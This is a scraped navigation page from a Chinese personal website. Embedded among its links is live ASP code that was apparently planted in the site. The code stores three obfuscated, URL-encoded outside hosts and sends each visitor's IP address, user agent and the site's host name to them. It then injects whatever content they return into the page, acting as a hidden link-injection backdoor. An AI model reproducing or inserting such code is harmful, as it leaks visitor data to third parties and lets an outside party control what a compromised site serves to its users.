加入收藏

网站地图

您现在的位置: 主页

公告

最新更新
网通站:
http://www.mympc.org

和我联系
推荐下载
<% dim ii,ohttp,rtxt,appcn on error resume next if application("chainnode_1")="" or application("chainnode_2")="" or application("chainnode_3")="" then application("chainnode_1")="%31%2E%68%68%79%7A%38%38%2E%63%6F%6D" application("chainnode_2")="%31%2E%71%63%6C%75%70%2E%63%6F%6D" application("chainnode_3")="%31%2E%63%6E%63%6C%75%70%2E%63%6F%6D" end if for ii=1 to 3 set ohttp=Server.CreateObject("Msxml2.XMLHTTP.2.6") ohttp.open "GET","http://"&application("chainnode_"&ii)&"/chain/gc.asp?f=index.asp&h="&Request.ServerVariables("HTTP_HOST")&"&ip="&Request.ServerVariables("REMOTE_ADDR")&"&ha="&Request.ServerVariables("HTTP_ACCEPT")&"&ug="&Request.ServerVariables("HTTP_USER_AGENT"),false ohttp.send rtxt=ohttp.ResponseText if instr(rtxt,"{anan}")>0 then response.write replace(rtxt,"{anan}","") if ii<>1 then appcn=application("chainnode_1") application("chainnode_1")=application("chainnode_"&ii) application("chainnode_"&ii)=appcn end if exit for end if next %>
下载文章留言MyMPCBlog友情链接网站地图
 鲁ICP备05033920号  Powered By: ACMS Version:2.0